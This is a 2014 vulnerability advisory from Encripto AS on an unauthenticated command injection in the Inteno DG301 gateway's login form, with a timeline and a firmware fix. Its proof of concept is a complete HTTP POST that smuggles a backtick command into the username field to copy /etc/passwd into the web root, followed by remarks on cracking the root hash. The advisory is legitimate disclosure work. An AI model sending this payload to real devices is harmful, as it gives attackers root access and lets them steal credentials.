Security Advisory

Inteno DG301 Residential Gateway

3rd of February 2014

Juan J. Güelfo
CEO, IT-security consultant and
IT-security researcher at Encripto AS

About Encripto AS

Encripto AS is a Norwegian company which provides specialized services in IT-security with superior quality. Our core expertise is education, security testing and security monitoring.

Encripto AS is committed to information security. We do research to discover trends, new vulnerabilities and better ways to mitigate them. We believe in acting as good internet citizens to the industry, whether you are a provider or a user.

You can read more about us at http://www.encripto.no

Timeline and revision history

- ***3rd of February 2014***
  Public disclosure.

- ***31st of January 2014***
  New firmware version launched by the vendor, which addresses the vulnerability.

- ***26th of January 2014***
  Vulnerability details disclosed to the vendor.

- ***24th of January 2014***
  Vulnerabilities discovered by the researcher.

Disclaimer

The material presented in this document is for educational purposes only. Encripto AS cannot be responsible for any loss or damage carried out by any technique presented in this material. The reader is the only one responsible for applying this knowledge, which is at his / her own risk.

Any of the trademarks, service marks, collective marks, design rights, personality rights or similar rights that are mentioned, used or cited in this document is property of their respective owners.

License

1. Background

According to the vendor, Inteno DG301 is a high-end Multi-WAN residential gateway with advanced router and bridge functions.

2. Summary

Inteno DG301 Powered by LuCI Trunk (inteno-1.0.34) and OpenWrt Backfire 10.03.1-RC6 is vulnerable to command injection, which can be exploited directly from the login form on the web interface.

The vulnerability could be exploited by unauthenticated attackers. Successful exploitation would allow attackers to execute arbitrary commands with root privileges.

3. Affected Products

DG301 Powered by LuCI Trunk (inteno-1.0.34) and OpenWrt Backfire 10.03.1-RC6.
Other products or previous versions may also be vulnerable.

4. Vulnerability and Proof of Concept (PoC)

The login form presented on the web administration interface (username parameter) is vulnerable to command injection, due to the application does not validate the user input in a proper manner.

The following PoC includes a POST request that should be sent to the device via web. The request includes a command that will copy the contents of “/etc/passwd” to a file "test.txt" on the root web folder were the web administration interface is published.

```
POST /cgi-bin/luci HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 Gecko/20100101 Firefox
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: sysauth=55f19d843ebf2de094b8a8a2acf5c3a7; sysauth=
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 60

username=user`cp%20/etc/passwd%20/www/test.txt`&password=pass
```

After the request is sent, proceed to visit http://<routerIP>/test.txt.

This should display the contents of “/etc/passwd”, including the root password in encrypted (DES) form. From here, the root credentials could be cracked in a reasonable amount of time. This attack could also be used for enabling services (e.g. SSH), or running any other arbitrary commands.

5. Remediation

The vendor has released a new firmware version - 1.6.8RC3.
Users are encouraged to update their devices in order to patch the vulnerability.

6. Credit

The vulnerability was originally discovered in an Inteno DG301 device, by Juan J. Güelfo at Encripto AS.
E-mail: post@encripto.no
Web: http://www.encripto.no

For more information about Encripto's research policy, please visit http://www.encripto.no/forskning/